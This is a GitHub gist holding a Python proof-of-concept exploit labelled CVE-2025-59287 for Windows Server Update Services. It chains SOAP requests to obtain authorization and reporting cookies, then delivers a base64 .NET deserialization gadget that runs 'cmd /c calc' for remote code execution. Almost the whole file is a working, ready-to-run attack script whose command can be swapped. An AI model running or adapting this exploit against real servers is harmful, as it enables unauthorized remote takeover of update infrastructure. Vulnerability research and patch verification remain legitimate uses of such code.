Skip to content

Instantly share code, notes, and snippets.

@hawktrace
Last active November 1, 2025 06:44
Show Gist options
  • Save hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b to your computer and use it in GitHub Desktop.
Save hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b to your computer and use it in GitHub Desktop.

Revisions

  1. hawktrace revised this gist Oct 22, 2025. No changes.
  2. hawktrace revised this gist Oct 22, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -23,7 +23,7 @@ def get_auth_cookie(target, server_id=None):
    <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
    <clientId>{server_id}</clientId>
    <targetGroupName></targetGroupName>
    <dnsName>exploit.local</dnsName>
    <dnsName>hawktrace.local</dnsName>
    </GetAuthorizationCookie>
    </soap:Body>
    </soap:Envelope>'''
  3. hawktrace created this gist Oct 22, 2025.
    232 changes: 232 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,232 @@
    #!/usr/bin/env python3

    import requests
    import urllib3
    import xml.etree.ElementTree as ET
    from datetime import datetime, timezone
    import sys
    import uuid
    from xml.sax.saxutils import escape

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    def get_auth_cookie(target, server_id=None):
    url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx"
    headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'}

    if server_id is None:
    server_id = str(uuid.uuid4())

    soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
    <clientId>{server_id}</clientId>
    <targetGroupName></targetGroupName>
    <dnsName>exploit.local</dnsName>
    </GetAuthorizationCookie>
    </soap:Body>
    </soap:Envelope>'''

    try:
    response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
    if response.status_code == 200:
    root = ET.fromstring(response.text)
    for elem in root.iter():
    if 'CookieData' in elem.tag and elem.text:
    print(f"[+] Using ID: {server_id}")
    return elem.text
    except Exception as e:
    print(f"[-] Auth cookie error: {e}")
    return None

    def get_server_id(target):
    url = f"{target}/ReportingWebService/ReportingWebService.asmx"
    headers = {
    'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"',
    'Content-Type': 'text/xml'
    }

    soap_body = '''<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
    <cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
    </GetRollupConfiguration>
    </soap:Body>
    </soap:Envelope>'''

    try:
    response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)

    if response.status_code == 200:
    root = ET.fromstring(response.text)
    for elem in root.iter():
    if 'ServerId' in elem.tag and elem.text:
    print(f"[+] Server ID: {elem.text}")
    return elem.text
    except Exception as e:
    print(f"[-] Server ID error: {e}")

    fallback_id = str(uuid.uuid4())
    print(f"[!] Using fallback ID: {fallback_id}")
    return fallback_id

    def get_reporting_cookie(target, auth_cookie):
    url = f"{target}/ClientWebService/Client.asmx"
    headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'}

    timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')

    soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
    <authCookies>
    <AuthorizationCookie>
    <PlugInId>SimpleTargeting</PlugInId>
    <CookieData>{auth_cookie}</CookieData>
    </AuthorizationCookie>
    </authCookies>
    <oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
    <lastChange>{timenow}</lastChange>
    <currentTime>{timenow}</currentTime>
    <protocolVersion>1.20</protocolVersion>
    </GetCookie>
    </soap:Body>
    </soap:Envelope>'''

    try:
    response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
    if response.status_code == 200:
    root = ET.fromstring(response.text)
    cookie_data = {}
    for elem in root.iter():
    if 'Expiration' in elem.tag:
    cookie_data['expiration'] = elem.text
    elif 'EncryptedData' in elem.tag:
    cookie_data['encrypted_data'] = elem.text
    if 'encrypted_data' in cookie_data:
    return cookie_data
    except:
    pass
    return None

    def send_malicious_event(target, cookie):
    url = f"{target}/ReportingWebService/ReportingWebService.asmx"

    target_sid = str(uuid.uuid4())
    event_instance_id = str(uuid.uuid4())
    timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3]
    popcalc = '''<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>'''

    soap_body = f'''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
    <soap:Body>
    <ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
    <cookie>
    <Expiration>{cookie['expiration']}</Expiration>
    <EncryptedData>{cookie['encrypted_data']}</EncryptedData>
    </cookie>
    <clientTime>{timenow}</clientTime>
    <eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
    <ReportingEvent>
    <BasicData>
    <TargetID>
    <Sid>{target_sid}</Sid>
    </TargetID>
    <SequenceNumber>0</SequenceNumber>
    <TimeAtTarget>{timenow}</TimeAtTarget>
    <EventInstanceID>{event_instance_id}</EventInstanceID>
    <NamespaceID>2</NamespaceID>
    <EventID>389</EventID>
    <SourceID>301</SourceID>
    <UpdateID>
    <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
    <RevisionNumber>0</RevisionNumber>
    </UpdateID>
    <Win32HResult>0</Win32HResult>
    <AppName>LocalServer</AppName>
    </BasicData>
    <ExtendedData>
    <MiscData soapenc:arrayType="xsd:string[2]">
    <string>Administrator=SYSTEM</string>
    <string>SynchronizationUpdateErrorsKey={escape(popcalc)}</string>
    </MiscData>
    </ExtendedData>
    <PrivateData>
    <ComputerDnsName></ComputerDnsName>
    <UserAccountName></UserAccountName>
    </PrivateData>
    </ReportingEvent>
    </eventBatch>
    </ReportEventBatch>
    </soap:Body>
    </soap:Envelope>'''

    headers = {
    'Connection': 'Keep-Alive',
    'Content-Type': 'text/xml',
    'Accept': 'text/xml',
    'User-Agent': 'Windows-Update-Agent',
    'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"',
    'Host': target.replace('http://', '').replace('https://', '')
    }

    try:
    response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)

    if response.status_code == 200 and 'true' in response.text:
    return True, event_instance_id, target_sid
    else:
    return False, None, None
    except Exception as e:
    print(f"[DEBUG] Exception: {e}")
    return False, None, None

    def main():
    if len(sys.argv) < 2:
    print("Usage: python HawkTrace.py <target_url>")
    print("Example: python HawkTrace.py http://192.168.1.100:8530")
    sys.exit(1)

    target = sys.argv[1]

    print(r"""
    _ _ _
    | | | | | |
    | |__ __ ___ _| | _| |_ _ __ __ _ ___ ___
    | '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \
    | | | | (_| |\ V V /| <| |_| | | (_| | (_| __/
    |_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___|
    Batuhan Er @int20z
    CVE-2025-59287
    """)

    print()
    print("[+] Getting Server ID...")
    server_id = get_server_id(target)

    print("[+] Auth cookie with Server ID...")
    auth_cookie = get_auth_cookie(target, server_id)
    if not auth_cookie:
    print("[-] Failed")
    return
    cookie = get_reporting_cookie(target, auth_cookie)
    if not cookie:
    print("[-] Failed")
    return

    print("[+] Sending event with payload...")
    success, event_id, target_sid = send_malicious_event(target, cookie)

    if success:
    print("[+] SUCCESS!")
    print("[!] RCE will trigger!")
    else:
    print("[-] Failed")

    if __name__ == "__main__":
    main()